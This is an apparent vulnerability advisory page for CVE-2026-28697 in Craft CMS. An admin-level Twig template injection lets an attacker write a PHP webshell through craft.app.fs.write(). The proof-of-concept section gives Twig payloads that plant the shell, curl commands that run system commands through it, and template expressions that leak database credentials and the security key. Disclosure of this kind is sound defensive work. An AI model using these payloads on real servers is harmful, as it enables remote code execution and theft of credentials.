CVE-2026-28697: Craft CMS Vulnerable to Authenticated RCE via "craft.app.fs.write()" in Twig Templates
Summary An authenticated administrator can achieve Remote Code Execution (RCE) by injecting a Server-Side Template Injection (SSTI) payload into Twig template fields (e.g., Email Templates). By calling the craft.app.fs.write() method, an attacker can write a malicious PHP script to a web-accessible directory and subsequently access it via the browser to execute arbitrary system commands.
Published Mar 3, 2026 · Updated Mar 4, 2026
Affected packages
craftcms/cms
- Ecosystem
- Composer (PHP)
- Affected
- >= 5.0.0-RC1, < 5.9.0-beta.1
- Fixed in
- 5.9.0-beta.1
- Check
composer show craftcms/cms
craftcms/cms
- Ecosystem
- Composer (PHP)
- Affected
- >= 4.0.0-RC1, < 4.17.0-beta.1
- Fixed in
- 4.17.0-beta.1
- Check
composer show craftcms/cms
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
An authenticated administrator can achieve Remote Code Execution (RCE) by injecting a Server-Side Template Injection (SSTI) payload into Twig template fields (e.g., Email Templates). By calling the craft.app.fs.write() method, an attacker can write a malicious PHP script to a web-accessible directory and subsequently access it via the browser to execute arbitrary system commands.
---
Proof of Concept
Attack Prerequisites
- Authenticated administrator account with
allowAdminChangesenabled, or access to the System Messages utility
Steps to Reproduce
- Navigate to Utilities → System Messages (
/admin/utilities/system-messages) - Edit any email template (e.g., "Test Email") and inject the following in the body (or the Subject):
- To exploit it by writing to a file system:
- Note: Replace the filesystem handle (e.g.,
hardDisk) with a valid handle configured in the target installation. ``twig {{ craft.app.fs.getFilesystemByHandle('hardDisk').write('shell.php', '<?php isset($_GET["c"]) ? system($_GET["c"]) : null; ?>') }}`` - To exploit it by writing to a volume:
- Note: Replace the volume handle (e.g.,
images) with a valid handle configured in the target installation. ``twig {{ craft.app.volumes.getVolumeByHandle('images').fs.write('shell.php', '<?php isset($_GET["c"]) ? system($_GET["c"]) : null; ?>') }}``
- Save & go to Settings → Email (
/admin/settings/email) - Click "Test" at the bottom of the page to trigger template rendering
- The webshell is now written to the filesystem/volume. Access it via curl or directly from the browser:
Note: The path might be different on your end depending on the filesystem or volume configuration.
# For Filesystem
curl "http://target.com/uploads/shell.php?c=id"
# For Volume
curl "http://target.com/uploads/images/shell.php?c=id"
# Example Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)---
Additional Impact
The same craft.app exposure without any security measures enables additional attack vectors:
Database Credential Disclosure
Database credentials are stored in .env outside the webroot and are not accessible to admins through the UI. This bypasses that protection.
{{ craft.app.db.username }}
{{ craft.app.db.password }}
{{ craft.app.db.dsn }}Security Key Disclosure
Craft explicitly redacts the security key from phpinfo and error logs, indicating it should be protected. However, craft.app.config.general.securityKey bypasses this protection.
{{ craft.app.config.general.securityKey }}Recommended Fix
- Add Twig sandbox rules to block
write,writeFileFromStream,deleteFile, and similar destructive methods - Consider allowlist approach for
craft.appproperties accessible in templates rather than exposing the entire application
Resources
https://github.com/craftcms/cms/commit/9dc2a4a3ec8e9cd5e8c0d1129f36371437519197 https://github.com/craftcms/cms/pull/18219 https://github.com/craftcms/cms/pull/18216
Credited to mHe4am.
References
- https://github.com/craftcms/cms/security/advisories/GHSA-v47q-jxvr-p68x
- https://github.com/craftcms/cms/pull/18216
- https://github.com/craftcms/cms/pull/18219
- https://github.com/craftcms/cms/commit/9dc2a4a3ec8e9cd5e8c0d1129f36371437519197
- https://nvd.nist.gov/vuln/detail/CVE-2026-28697
- https://github.com/advisories/GHSA-v47q-jxvr-p68x
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Composer (PHP) vulnerabilities
All Composer (PHP) entriesGHSA-wg23-69c2-gjc8
Craft CMS: Passkey login accepts replayed WebAuthn assertions
critical9.1Aug 7, 2026CVE-2026-55791
Craft CMS: Blind SSRF and Arbitrary JavaScript Injection via Host Header Poisoning in actionResourceJs
critical9.2Jun 19, 2026CVE-2025-32432
Craft CMS Allows Remote Code Execution
critical10.0ExploitedApr 25, 2025CVE-2024-56145
Craft CMS has potential RCE when PHP `register_argc_argv` config setting is enabled
critical9.8ExploitedDec 18, 2024CVE-2024-37843
Craft CMS SQL injection vulnerability via the GraphQL API endpoint
critical9.8No fixJun 25, 2024
